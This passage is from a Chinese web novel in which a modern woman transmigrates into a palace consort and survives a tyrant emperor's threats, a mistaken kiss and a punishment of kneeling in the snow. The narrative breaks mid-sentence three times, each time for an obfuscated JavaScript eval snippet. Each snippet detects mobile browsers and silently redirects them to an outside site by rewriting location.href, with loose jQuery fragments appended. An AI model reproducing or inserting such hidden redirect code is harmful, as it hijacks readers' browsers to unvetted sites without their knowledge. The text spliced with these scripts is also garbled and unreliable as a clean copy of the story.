“哦,既然这么害怕,朕倒是有件事让你相助。”尧让饶有兴趣地看着她,开口说道。 “什......什么事啊?” 尧让一步步走到她身边,突然一手抓住她的右手,随即便握住尸体上的那把剑剑柄。这个举动妥妥将夏星辰吓得尖叫出了声:“啊......不行啊陛下,这个忙我真的帮不了。” “他已经死了,你怕什么?”尧让一脸冷静:“朕只是让你帮朕将剑拔出来而已;这点小忙你都不愿意帮?你的忠心呢?难道只是会说些体面话?” “可是我害怕啊......我没杀过人......” “好一句没杀过人!苏清夕,你还真当朕是什么昏庸之人啊,你是什么样的人,朕会不知道?” “我......我应该是什么人啊?” “朕不跟你废话!眼下这件小事你做还是不做?” 突然,尧让弯下腰,凑近她耳旁冷淡道:“你这般害怕,是害怕你的小情郎知道你帮朕杀了他的手下,会因此厌恶你?” 夏星辰侧过头,与尧让的距离近得能清晰地看见细腻的皮肤状态。但内心的恐惧还是让她不自觉结巴:“我......我没有啊。” “既然没有,那就给朕将剑拔出来;你不是说时间会证明一切吗?此刻,你证明给朕看你的忠心。”说完,尧让便收回了自己的手,转过身往龙椅走去。 夏星辰那握住剑柄的手还在不停地颤抖着,她深呼吸了一口气,抬眼看着悠哉坐在龙椅上的尧让,开口道:“好,我豁出去了。既然陛下要我用这种方式去证明我自己,那陛下您就看好了。” 下一刻,随着夏星辰的尖叫声中,手一使劲,猛地将剑拔了出来。她看着剑上滴落的鲜血,害怕得将剑丢在了地上...... “陛......陛下,我拔出来了。”夏星辰不停地因为恐惧而喘着气。 说实话,让一个处于和平时代的人杀人,这种感觉真的特别糟糕!夏星辰已经在脑海中想着自己作为帮凶会被判多少年了...... “林贤,将这些肮脏东西收拾干净。”龙椅上的尧让一脸的云淡风轻。 “奴才遵命。” 林贤的做事效率非常的快,不到半个时辰,刚才还异常血腥的画面已经恢复了之前干净如初的模样。 而还未缓过神的夏星辰看着崭新的地板,竟然连一点血迹都没看到,仿佛刚才她所看到的、经历的一切都是幻觉。 “苏清夕,朕还真是小瞧你了!为了王兄,你能做到这个地步,不愧是他精挑细选的人......” 看着尧让脸上那无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575493|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捉摸的表情,夏星辰知道一时半会无论她做什么,在尧让的眼里都是在演戏。但一想到自己刚才作为帮凶的事实,就忍不住吐槽:“陛下,臣妾现在可是您的同党啊!您还不信我?” “然后呢?” “什么叫然后呢?同党可是一条船上的人,陛下您要是进牢里了,我都得被抓进去......”说到这个话题,夏星辰终究还是坐不住:“坐牢啊,这可不是开玩笑的!” 显然,尧让对她的“胡言乱语”已经彻底失去了耐心,仿佛下一刻就要龙颜大怒。 “好吧!陛下,是臣妾在胡言乱语。”夏星辰这才反应过来现代的法律在这里不实用,尤其是掌控着生杀大权的皇帝身上,更显得极其荒诞。 “胡言乱语也好,刻意如此也罢,朕都不在乎。”尧让明显不想再理会她的疯疯癫癫。 说罢,他的视线被她肩膀上那件被庞大物件吸引了去,那东西几乎是占去了她小半个身子,看起来沉甸甸地,从进来到现在仍然被她稳稳地扛着。 “这是何物?” 被尧让这一问,夏星辰这才想起自己是干什么来着的。她努力让自己将刚才的事情忘掉,赶紧办正事要紧。 随后便将肩上的物件放在地上,挤出了一个看起来甜美的笑容道:“陛下,前几日臣妾不是说要送您一件大礼吗?在送上这份大礼之前,陛下您能否答应臣妾一件事啊。” “说。” “若是陛下喜欢这件礼物,那......臣妾的双手您可就不能觊觎了哦。”夏星辰说这句话的时候,语气里没有过多的确定性,鬼知道这暴君会不会真的是想砍自己的双手。 哎!赌徒的心思原来就是这般的,既想着要能得到更好的,但又怕得到的还是最差的,所以,便不断地去试一次又一次的“生机”。眼下,夏星辰就是这样的心思,为了在这暴君身边多活些时间,只能千方百计讨好他。 后宫的女人真惨呐! “可以。” 得到他的承诺,夏星辰开心地笑出了声,似乎刚刚发生的那一切都被此时的愉悦抛之脑后。随即,她便一点点地揭开了那块黑布。 黑布被揭开,露出了这份“大礼”的真面目——正是一双用泥巴塑造的双手。 尧让的目光落在那双假手上,黑色的眸子瞬间骤然沉了下去,喉间溢出一声冷笑,夹带着毫不掩饰的嫌弃与厌恶。脸上的平和早已被阴沉代替,周身的气压更是低得让人喘不过气。 一旁的林贤看着这份礼物心头一紧,额间不自觉渗出细汗;龙椅上的人今日心情本就不佳,而这双丑陋的假手明摆着是触了龙鳞;他很清楚尧让这副模样意味着什么,只需要再添一根火星,滔天怒火便会顷刻爆发。 他悄悄垂下眼,连大气都不敢喘,只盼着能有奇迹发生。 “苏清夕,你是不想活了吗?”尧让的话一字一句地砸下来,脸上没有半分的笑意,只有压制到极致的暴怒,仿佛下一秒,他就要把夏星辰撕碎。 “陛下您......不喜欢吗?”夏星辰一开始的开心,在此刻已经被彻底抹杀了。 得不到赏赐就算了,可能还得把命搭上! “看来,是朕一次又一次地给你活下来的机会,如今你才会这般的肆意妄为,你以为朕是什么很低贱的人吗?还是说,你觉得朕就应当喜欢你送的这个恶心的礼物?你不会真的以为朕不会杀你吧?别说是你这个明妃,你身后的人,乃至整个将军府,朕都不放在眼里。” 完蛋了!这礼物不仅没有讨得暴君的欢心,反而还使他龙颜大怒;这也是夏星辰第一次明显感觉到,尧让是真的生气了。 夏星辰害怕地“噗通”一声跪了下来:“不是这样的陛下,臣妾没有想过您是什么低贱的人,臣妾真的以为您会喜欢,所以才花了两日的时间一点一点地塑造的,您要是不喜欢,那臣妾就把它丢了,陛下您不要生气。” 一说完话,她便立即磕了几个响头,试图想着以这种方式熄灭他的怒火。 “出去!” 听到这句话,夏星辰瞄到林贤正朝着外面走去;她慌忙站起身,也准备跟着离开。 “苏清夕,朕没说你可以走。” 8. 我把暴君强吻了 夏星辰停住脚步,看着林贤从外面将门关上,她脸上的神情瞬间变得非常委屈;关掉的这扇门,是她的活路啊! 她转过身,乖巧地再次跪下,语气甚是委屈:“陛下,臣妾真的不是故意的,您相信臣妾!臣妾哪里敢羞辱您啊,陛下!” “朕问你,你可还记得朕与你说过的事情?” 尧让这突如其来的问题,直接把夏星辰问懵了......说过的事情?可不就只剩下侍寝了!!难道他的意思是要自己用侍寝来安慰他刚才受伤的心情? 苍天啊,尧让不仅仅是暴君,还是个色狼啊。完了!夏星辰没看过什么开车文啊,她哪里知道怎么侍寝啊?宫斗剧也没演过啊,她见过最大的尺度就是莫过于电视剧上那些主角亲嘴了。 就算是有那不可描述的床戏,可人家是正正经经的电视剧,怎么可能把那些乱七八糟的东西拍出来啊!即便是拍出来了,也过不了审啊! 她一直觉得尧让这位君王也才年纪轻轻,断然是不会沉迷于美色之中;没想到,他与那些电视剧里的某些帝王一样,后宫佳丽三千,他怎会仍是清白之身,除非他那方面不行! 算了,不想了,她豁出去了!反正这副身体是苏清夕的,又不是她夏星辰的,没事。 但是!!感受是她在感受啊!她现在的感觉就是像在拍什么风月片,每一帧都是少儿不宜的存在;关键是,这狗皇帝选择在御书房这种地方行那龌蹉之事,玩得还挺花儿的...... 她边在心里暗骂边缓缓站起身,心不甘情不愿地一步步走到尧让身边,虽然这狗皇帝长得确实很好看,但是她也的确是真的害怕这个暴君。 像尧让这种男人,只能远远地欣赏,绝对不可以端详。否则,就是在引火烧身......但夏星辰有什么办法呢,既然皇帝都这样要求了,那她也无法拒绝。 他长得这么好看,貌似自己也不算吃亏。夏星辰只能这样安慰着自己。 “陛下,您......您准备好了吗?千万不要紧张啊。” 显然,最后那句话是说给她自己听的。 尧让望着她那接二连三的怪异举动,眉头紧皱,眼中满是困惑;他坐在龙椅上,迎上她那双透露出坚定的眼睛,苦思冥想了许久,却实在是猜不透她这些怪异举动背后暗藏着的深意,只觉得像是被一团迷雾裹住,怎么也理不清头绪。 “苏清夕,你......” 他的话刚到嘴边,却被下定决心的夏星辰双手捧起脸庞,她的这个举动顿时把吓得他不知所措。 夏星辰看着他的脸,这是今天第二次这么近距离地观赏这张绝美的容颜;在对帅哥会怦然心动这件事上,夏星辰也不例外。 在尧让深感困惑的神情中,夏星辰微微倾身,柔软的唇瓣带着点微凉的温度,轻轻落在了他的唇上,像一片羽毛拂过,又快又轻。 这是夏星辰头一回和别人亲嘴,唇瓣相触的瞬间,她整颗心都像要跳出嗓子眼;这个吻带着点生涩的试探,她轻轻地贴着他,连呼吸都放得极轻,生怕自己做错了什么,强烈的紧张感让她觉得每一秒都格外漫长。 不过几秒的时间,她便再也撑不住了,将手从他的脸上收了回来,然后猛地往后退了退;脸颊烫得能煎鸡蛋似的,此时此刻,她连抬眼看他的勇气都没有了。 而被她强吻的尧让整个人都僵在龙椅上,唇上还残留着她的温度,陌生又突兀,竟让他一时半会儿忘了该作何反应。 他素来讨厌旁人的触碰,连指尖相碰都会令他不适和厌恶;可此刻心底却翻涌着一股说不清道不明的滋味,像投入石子的湖面,乱了原本的平静。 但这怪异的感觉很快就被恼怒压了下去,语气里满是被冒犯的不悦:“苏清夕,你......你放肆!” 眼底的不解混着愠怒,明明他是被轻薄的一方,却偏偏在那瞬间的亲吻里,尝到了一丝自己也读不懂的慌乱。 夏星辰被他这么一质问,随即便感到莫名其妙,以为是自己的吻技不好,或者时间太短而导致他不悦。 为此,她连忙解释道:“陛下,我......我的吻技已经算不错了吧,我没谈过恋爱,也没与别人接过吻,第一次生疏很正常啊,要不然......你主动?” “你为何能将这些话说得如此不知廉耻?谁给你的胆子如此冒犯朕?”此时此刻,尧让的脸也已经红透了,只是与夏星辰不同的是,他的脸红可是因为生气。 “什么?冒犯?陛下,您身为九五至尊,普天之下您最大,但总要讲点道理吧,您上次说,让我回去学侍寝的规矩,我回去学了。刚才您刻意提起,我也照做了;我又不懂侍寝,再说了,这里是御书房,行那男女之事总要避着点人吧。” 夏星辰说这话的时候明显也生气了起来,明明就是这暴君要求的侍寝,她也鼓起勇气按照他的想法去做了;光天化日之下,总不能真的跟他在这里做些少儿不宜的事情吧,万一有人闯进来,那不是被看光光了吗? 这究竟是他不知廉耻,还是自己不知廉耻啊?狗皇帝! “你......朕方才与你说的,是断你双手的惩戒之事,何曾提过侍寝一字?你这脑子里,究竟装了些什么污秽念头!”尧让此刻面色沉凝,龙袍下的手微微攥紧,言语里尽是苦苦压制的怒意。 什么?他说的不是侍寝?夏星辰脸上的慌张越来越明显,如果他说的不是侍寝一事,那……那她刚刚的举动算怎么回事? 她……把暴君强吻了!!完蛋了! “那怎么办?陛下,要不……要不您再吻回去,就当还您了?” “你放肆!苏清夕。”尧让猛地一拍龙案,案上的茶杯被震得哐当作响,滚烫的茶水溅出,在浅黑色的桌布上晕开深色的痕迹。 “朕是看你当真活腻了,竟然在这金銮殿上胡言乱语,当朕的龙椅是摆设不成?” 夏星辰已然是顾不上其他,她连忙跪下磕头:“不是不是,臣妾不敢再胡言乱语了,此事是臣妾会错意了,对不起啊陛下,对不起对不起。” 公然在皇帝的地盘上强吻他,龙颜大怒之下杀了她都有可能;除了诚恳的道歉,她实在是不知道怎么熄灭他的怒火。 自从上次给尧让放松肌肉的时候就猜到他不喜欢别人碰他,也就是那个时候开始他便“觊觎”她的手。如今又强吻了他,他现在不得将自己撕了啊? 她脑中还在飞速盘算着脱身的法子之时;尧让已然不知道何时出现在她身前。 下一瞬,九五至尊竟然屈尊蹲下,语气中听不出喜怒:“把头抬起来。” 夏星辰害怕极了,她缓缓抬起头,刚迎上他的双眼,却从中只看到冰封的冷厉。颈间骤起的剧痛便让她浑身一僵,他的指节像嵌进肉里的铁箍,力道狠戾得仿佛要当场拧断她的脖子。 窒息感蜂拥而至,她被迫仰着脸,看清了他眼底那毫不掩饰的杀意;那是纯粹的、要将她挫骨扬灰的狠绝。 她的脑海中再次浮现了冬儿被生生掰断脖子的画面,难道她今日真的也要被掰断脖子吗? 随着力道越来越重,她的意识也在这强烈的窒息中消散;眼泪也因为极度的恐惧而划过脸颊。 就在她以为自己要死在尧让手里时,颈间的力道忽然松了些,一丝微弱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575494|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气猛地钻进了喉咙。她像溺水者抓住浮木,胸腔剧烈起伏着,每一次吸气都带着撕裂般的疼,却又贪婪得将刚才失去的空气狠狠夺回来。 “让朕来猜猜,究竟是什么原因能让你不惜付出性命也要如此冒犯朕?方才被朕一击毙命的人与你的目的是一样的,潜伏在朕的身边如此之久,定是不好受吧!你就那么喜欢王兄?他可是允诺了许你为后?让你甘愿付出性命?”他缓缓站起身,话语里不疾不徐,带着一种洞穿一切的平静。 果然!这位暴君从始至终就没相信过她,无论她如何讨好他,也改变不了他心中对她的偏见。 “陛下,您既然不信臣妾,又为何不直接杀了臣妾?”夏星辰言简意赅地问出了这个问题,她实在是猜不透这个狗皇帝到底在想着什么。 夏星辰明明记得很清楚,广播剧上就是说尧让这个帝王看起来是令人闻风丧胆的暴君,可实际上却是个昏庸无才之辈,不然也不会纵容尧显如此的肆意妄为。 可眼前的尧让,给她的感觉哪里是什么昏庸无才之辈,这分明就是手段狠厉的帝王! 尧让嘴角上扬,那笑意透着一股令人毛骨悚然的狠戾;他嗤笑一声:“杀了你?那可就太不好玩了。” 说着,他俯身凑近她的脸,目光像条毒蛇般缠在她的身上,一字一句都渗透着浓烈的恶意:“即便是要朕亲手杀了你,也得当着朕那位自视甚高、不可一世的王兄的面,亲手了结你,这才好玩。” 话说到一半,他顿了顿,语气变得极为轻佻:“你猜猜,到了那时,他会不会为了你的死,痛不欲生?” 真是变态啊!这位狗皇帝真是变态!怪不得能做皇帝呢?自古皇帝最是无情,老祖宗说得真是一点都没错,以前看电视不觉得宫中的女人有多惨,现在才发现,是挺惨,尤其是没有手段的女人,更惨! 不过,这狗皇帝也是天真,尧显那个人渣,原主被打入冷宫的那段时间,他可是躲得远远的,连来看她一眼都做不到,怎么可能会为了她的死痛不欲生!像这样一个利己主义者,又怎会为了一颗棋子而让自己满盘皆输? 恋爱脑真是死得快! “陛下,那恐怕您要失望了,尧显可不会痛不欲生,臣妾若死了,他可以找一个新的替代臣妾。”夏星辰此时智商爆表,她不想成为别人的棋子,既然她穿书到苏清夕的身体里,那么,她就不想再让她继续被其他人利用了。 不管是苏清夕还是夏星辰,都应该先顾好自己的感受,其他的后来再说。 夏星辰看着尧让,语气里夹带着毅然赴死的决绝:“无论是陛下您,还是尧显,对你们来说,臣妾就只是一颗棋子,没有利用价值便随意就抛弃了,什么时候死也并非臣妾说了算。” “棋子?苏清夕,你对朕来说,连颗棋子都算不上......”他话锋一转,语气里透出几分似真似假的松动:“你最好把你那些小心思藏好了;你若是不掺和朝政,朕兴许可以留你一命。” 可那语气里的松动转瞬即逝,下一刻,他眼中的寒意便如冰锥般刺了过来:“但你若敢在朕眼皮底下耍什么花样,你会知道,连死亡都算得上一种奢求。” 太不容易了!真是太不容易,活着怎么就那么难,跟尧让这狗皇帝周旋,直接快把夏星辰CPU都干烧了。 呜呜呜……她想家了,想念那个文明的现代社会了,早知道智商这么重要,她就好好读书了,争取考个好大学呢! 眼下,能活着俨然是老天眷顾了,她朝着他乖乖点头:“好的,陛下,臣妾知道了,臣妾一定对今日发生的事情守口如瓶,不敢胡言乱语,绝对效忠于陛下。” 9. 罚跪三个时辰 “既然知道了,那便出去吧。” 夏星辰突然想到,既然狗皇帝答应留她一命,只要她不帮助尧显那个人渣,那在狗皇帝的庇护下,她一定能活下去。为了防止狗皇帝后悔,必须要有一件护身符才行,别哪一次还真的就死在这暴君手里了! “陛下,臣妾有一事相求。” “何事?” 夏星辰露出标准假笑:“既然陛下已经允诺能留臣妾一条性命,但,为了臣妾能更好的为陛下做更多的事情,所以,陛下能否赏赐给臣妾一样护身宝贝啊?” 话音刚落,她眨巴着眼睛看着尧让,眼里满是期待。 “朕实在是想不明白你能为朕做什么?” “陛下您这话就说错了,臣妾能为陛下做的可多了呢。” 从夏星辰嘴里听到这句话,尧让的脑子里竟浮现出方才那不堪入目的画面,一时之间让他不知所措了起来。 而眼前之人才不会错过这个得到赏赐的机会,语气中带着迫切的恳求:“陛下,臣妾就只想要一个小小的礼物,拿它来护身而已。” “说是护身,想要的是庇护吧。”尧让冷声道:“苏清夕,你那些上不得台面的心思和手段别用在朕身上,也别把朕的后宫搅得乌烟瘴气。” “陛下您可别诬陷臣妾啊,臣妾不搞雌竟的!”夏星辰一脸认真的神情:“再说了,臣妾的智商也不允许宫斗啊......陛下您太看得起臣妾了。” 话音刚落,她便看到尧让从腰间拿出一块玉佩,她赶忙站起身跑到他身侧,双手掌心朝上,等着他将玉佩放在自己手心里。 直到实实在在地感受到玉佩在自己手心里的存在,她的开心溢于言表,紧紧地攥住玉佩,期间还仔细研究玉佩的真假,不过,这种想法很快便被她推翻了。 皇帝送的东西怎么会有假的呢!老天爷啊,这是真玉啊,不知道在现代能卖多少钱呢? “既然得到了想要的东西,那便出去吧。” 夏星辰开心溢于言表,笑道:“好的,臣妾多谢陛下。” 随后便蹦蹦跳跳地朝着门口而去,显然是忘记了自己刚才可是差点真的死了。 得到尧让赏赐的玉佩后,夏星辰可是非常爱惜,一有空就拿出来欣赏欣赏,脸上满是抑制不住的喜悦。哪怕是躺在床上睡觉之前,她也会拿出来对着那枚玉佩轻轻地呼了口气,表面形成了一层薄薄的水雾,随即便拿着手帕仔细地擦拭,仿佛是要把上面的脏东西擦拭干净,但很明显,上面什么也没有,她就是单纯的想将玉佩擦得锃亮。 “这狗皇帝送的玉就是好看又贵气,为了得到些赏赐,差点把自己的小命搭上去了,还别说,这狗皇帝真的是难伺候。”夏星辰看着这块玉佩,自言自语道。 虽然得到这块玉佩的过程很艰辛,但所幸,不仅命没丢,又得到了礼物;也算赚了! 后面的几日,是夏星辰觉得最安生的几日,没有其他妃子找她麻烦,尧让那位暴君也没有再让她过去表示忠心;所以,夏星辰这几天最主要的做的事情就是睡醒了吃,吃饱了睡,非常自在。 至少是比现代自在多了!不用两眼一睁就是挤地铁、上那破班......光是想到这里,夏星辰简直是笑得合不拢嘴。 不过,这段时间发生的事情,让夏星辰逐渐意识到原主这副身躯简直是太弱了,想都不用想,平常根本就没运动过,作为将军的女儿,怎么会如此懈怠呢?在这一点上,夏星辰的身体可是比她好太多了,至少平时休假的时候,她可是坚持跳一些燃脂操呢。 说做就做,夏星辰穿了一身便于跳操的着装;自己边哼着歌曲边跳了起来。一旁的小莲看到她这透着古怪的举动和从未听过的陌生曲调,眼神里满是困惑。 “娘娘,明日就是宫宴了,方才尚服局送来了新衣裳,太后特地吩咐了,分发给各宫娘娘的新衣裳都要在宫宴上穿着来,您现下要不要试试这新做的衣裳?也好瞧瞧合不合身,若是哪里不合适,奴婢再赶紧让她们改改。” 跳操跳得满头大汗的夏星辰看了一眼小莲手上的衣裳,脑海中竟然出现了原主苏清夕过往参加宫宴发生的事情...... 苏清夕很喜欢色彩鲜艳的衣裳,就因为尧显那个人渣说她穿彩色衣服很好看,所以她在任何场合都身着极其鲜艳的衣裳。但是,太后却很不喜欢,每一次都在宫宴上使绊子给她,动不动就找了个理由罚她跪个五个时辰。 妈呀!跪五个时辰,膝盖还能要?夏星辰有时候真是不明白,为什么这些人都喜欢让别人跪着?难道这样会让他们有成就感?怪不得文明社会要摒弃那些陈腐的旧思想呢;这动不动就让人跪下的思想确实可怕,就该摒弃掉。 看着夏星辰在发呆,小莲以为她还是想身着以前那般色彩鲜艳的衣裳,便小心翼翼地开口说道:“娘娘,以前的那些色彩鲜艳的衣裳,您是断断不能再穿着出现在宫宴上了,不然被太后瞧见了,您又要受罚了;去年宫宴,就因身上的衣裳,足足在雪地里跪了五个时辰,最后昏睡了好几天呢。眼瞧着明日就要下大雪,这天儿多冷啊,若是再被罚跪,您的身子定然是撑不住的。” 生怕夏星辰觉得她多嘴,说完这番善意的话后,她便自觉地闭上了嘴。 “放心吧,我明日定会穿着这身素净的衣裳参加宫宴的,绝对不会惹太后生气;我又不是傻子,不会跟我的膝盖过不去的。” 本来就该如此,作为新时代的牛马,跟任何人、任何东西过不去都可以,就是不可以跟自己,以及金钱过不去;像苏清夕那般死心眼的人真是活该被罚啊,性子怎么能那么倔呢?她的父亲苏将军那么多优点不学,尽是学些乱七八糟的东西。 出门名门贵族,怎么能生出恋爱脑这种东西?拿着数不完的金钱买吃的,买漂亮衣服,这些难道比不上那个死渣男实在?这苏清夕还真是昏了头! 就她这样的富家女放到现代,这般降智行为妥妥的就是中了邪! “娘娘您能这么想就太好了。”小莲为她的幡然醒悟会心一笑。 夏星辰突然想到刚才脑海中出现的苏清夕参加了那么多次宫宴,却总是没见到尧让的身影;她看着小莲,好奇地问道:“小莲,这宫宴是太后主持操办的吗?陛下......他不参加宫宴的吗?” “是啊,陛下登帝五年,从未参加过宫宴;宫宴一直以来都是太后操办的,而且特意强调各宫嫔妃必须到场,不准缺席。” “登帝五年了!时间也不算短,后宫这么多妃子,一个小小的宫宴都要太后操办?陛下为何迟迟不立皇后?”夏星辰八卦的好奇心再次涌上心头。 小莲凑近了些,压低声音说道:“奴婢听其他宫女说过,太后一直想让贵妃为后,但陛下不同意。” 想到尧让那一副生人勿进的模样,他岂会是一个受人摆布、乖乖听话的主? “那这么说,太后就是贵妃的靠山啊,怪不得一个平民出身的贵妃,竟然瞧不上我将军府呢。” “虽然贵妃娘娘是平民出身,但小嘴可是像抹了蜜一般,甚是讨得太后的喜欢。” 是啊,人家的小嘴跟抹了蜜一般,能讨得太后的喜欢;而她夏星辰的嘴跟抹了砒霜似的,一次又一次差点死在尧让那狗皇帝手里。同为妃子,妃位不同,命也全然不同啊。 “那陛下可是有哪位宠幸的妃子?” 小莲摇了摇头,声音更低了:“迄今为止,后宫得到妃子,还没有哪一个进得去极咸宫呢!” 听到这话,夏星辰的脑子里便出现了那位被尧让藏在极咸宫里的紫烟。想到这,她轻叹道:“看来,谁的心里都有个白月光啊,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575495|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天子也不例外呢!” 宫宴那日,夏星辰身着太后命人送来的衣裳,衣裳整体的颜色为淡蓝色,倒是衬托得苏清夕这副原本就貌美的容貌多添了一份俏皮。 前往赴宴时,她还特地将尧让赏赐给她的玉佩带在身上,万一发生什么她无法解决的事情,她还能用这块玉佩挡一下灾难,毕竟是皇帝赏赐的,其他人或许不看僧面也要看佛面吧。 各宫妃子陆陆续续到达宫宴之地,宫宴之地是与太后甘宁宫很近的暖阁;殿外大雪纷飞,殿内的炭火却烧得正旺,使得踏进去之人身上的寒意渐渐退去,空气中飘散着的淡淡皇家龙涎香竟是格外的令人舒适。 妃嫔们身着华服,依着位次落座,她们脸上带着得体的笑意,显然是对这次宫宴期待已久。身为现代人的夏星辰,对这种奢华的皇家宫宴,她显得格格不入;若不是这次穿书,她这种现代的普通打工人又怎会见识到金钱带来的奢靡;所见所感像梦一般极为不真实。 阶级真是压死人啊!这句话在这场宫宴中体现得淋漓尽致。 “太后驾到!” 话音刚落,太后出现在众嫔妃眼前,她端坐在主位,目光扫着众嫔妃时带着威严,低位的嫔妃小心翼翼地察言观色,生怕做错什么,说错什么;暖阁中的燃气的暖意,都像是被一条条森严的规矩框着,几乎是没有寻常人家的热络。 “明妃今日这身衣裳倒是素净,比起往年,今年的宫宴你可算是得体了很多。”太后的目光停留在她身上,淡淡地说道。 夏星辰站起身,微微躬身:“往年是臣妾糊涂,行事失了体统,让太后费心了,今日能得太后瞧着顺眼,实在是太后为臣妾挑的衣裳合宜,衬托得人也规矩了些。” 能让她如此的识大体,还得多亏了尧让;若不是她一直害怕因为自己说话不得体会引来他对自己动杀心,也不会这般努力学习古代的规矩。 太后嘴角勾起一抹冷笑,语气里满是讥讽:“明妃近日来的变化倒是真不小,与从前当真是判若两人,前些日子,竟然有能耐让皇帝亲自去冷宫接你,更敢坐他的龙辇回宫,你还真是好大的本事呢。” “臣妾......” 话还未说完,太后便接着话里话外地嘲讽道:“如此看来,你对后位已是志在必得了?另外,哀家还听闻你入宫为妃之前,心悦的可是显王,如今你既已是皇帝的妃嫔,若还有那等别的心思,便是死罪,难道苏老将军竟是这般教导你如此三心二意?” 好一招出其不意啊,太后这哪是对她穿着有意见,分明就是对她这个人有意见!既觉得她配不上尧显,又配不上皇帝,总之就是,无论她做什么,在太后的眼里,都是错的。 “臣妾惶恐,如今,臣妾是陛下的妃子,自然是心悦于陛下;臣妾在年少之时与显王殿下结识,但只似是兄妹,臣妾与显王殿下之间,向来恪守礼仪,从未有过半分逾越规矩的言行。臣妾的父亲更是素来谨守规矩,不敢有逾矩之心,望太后明鉴。”夏星辰说这番话时,眼神坚定,直直地看着太后,没有半分闪躲。 在场的众嫔妃多少都听闻过苏清夕的事迹,虽然将军府战功赫赫,但毕竟也是草莽出身。或许在他人眼里,苏清夕这层身份已算名门贵族了,但苏清夕自己本人却不这么觉得,反而觉得将军府出身草莽,甚是上不得台面;自然而然,她在外从来不会替将军府说过一句好话。 可即便如此鄙夷,但自己身为将军府之女的身份还是让她甚是自傲。所以,她们都觉得苏清夕变化极其的大!好似在冷宫中摔那一跤,整个人都变得没那么刻薄了。 “虽是如此,但你身为妃子,竟敢坐上皇帝的龙辇,此举分明就是没把皇家的威严放在眼里,你这是在公然藐视皇威,理应该罚;去殿外跪着吧,三个时辰,好好反省自己的错误。” 10. 拖下去把头砍了 夏星辰明白,眼下就是横竖都躲不过,她没有再为自己辩驳;即使再怎么巧舌如簧,也无法改变不了太后的刻意刁难,一味地继续辩驳,恐怕就不只是跪三个时辰了。 毕竟,当时苏清夕被打入冷宫,与这太后脱不开关系。 随后,她便在众嫔妃的嗤笑中走出了暖阁;外面与暖阁里的温暖形成了较大的反差。夏星辰深吸一口气,抬脚迈入漫天大雪中,屈膝跪下。 洁白的雪花无情地落在她的头发上、肩膀上,很快便融化成冰凉的冷水,那冷水浸湿了她的衣裳,那一瞬间的刺骨寒意,使她牙齿忍不住打颤,身体不受她控制地剧烈颤抖,但依旧挺直了脊背。 夏星辰不是苏清夕,她的性格比苏清夕更加倔强;从始至终,不是她做的事情她是绝对不会认的。以前的她,甚至为了自证清白,还会揪着别人的衣领子拼了命的解释,哪怕别人不信,但她还是会想要证明;直到经历了一件又一件同样的事情,哪怕是证据都摆在眼前,不信她的人依旧不信她。 那时候她便明白了,在那些不相信她的人眼里,自己的自证清白就是一个笑话,是不是她做的不重要,重要的是她要将这些自己没做过的事情打碎了,硬生生吞下去。 想到过往种种,她便委屈地落下了泪;莫名其妙地穿书,莫名其妙成为了一个比自己还要废物的人;无论是做为夏星辰,还是成为苏清夕,无论是现代还是古代,“欺凌”总是如影随形。 它就像是对于弱者的一种刑罚! 但此时的夏星辰还不明白,一个人究竟要变得多强大,才不会被人肆意欺负? 眼角的泪水瞬间凝结成冰,雪越来越大,身上的寒意也越来越重;这三个时辰,她根本无法撑得下去。 她不知道过了多久,三个时辰还有多久......就在身体已然无法支撑,渐渐往地上倒下去之时;她突然感觉到,自己的身体并没有倒在冰冷的雪地上,而是一个充满热气的怀抱。 她努力地睁开眼,看到眼前的救命恩人是尧让;不知为何,她内心却有了一种庆幸和喜悦。于是,嘴角不自觉上扬。 “陛......陛下,您来了!我好冷啊,我是不是快死了?”她的身体不停地哆嗦着,话已经快说不清楚了。 她感觉到尧让在紧紧地将她拥入怀中,语气虽温和,却不失帝王威严:“朕说过,朕留你一条命,就意味着只要朕在,你就不会死;平时在朕面前一副嚣张的模样,如今怎的还如此乖乖地跪在这里?你认命了?” “那可是太后啊,陛下,连陛下您都要敬重她,臣妾怎敢忤逆太后啊。”夏星辰的语气越来越虚弱。 “行了,你别说话了,别到时候真的死了。”尧让话音刚落,便将她抱起,继而开口:“百里。” 话落,一名黑衣侍卫出现在尧让身前,躬身说道:“陛下!” “把她抱回......抱回极咸宫,再将那爱养蜘蛛的人绑过来给她诊治,与那人说这是朕的旨意,不可违抗。” “是!” 尧让将夏星辰递给百里后,便转过身要往暖阁中走去时,衣袖的一角却被拉住,他回头看了一眼,竟是虚弱的夏星辰。 “苏清夕,你再耽搁下去,纵使是神明出现,也救不了你。” 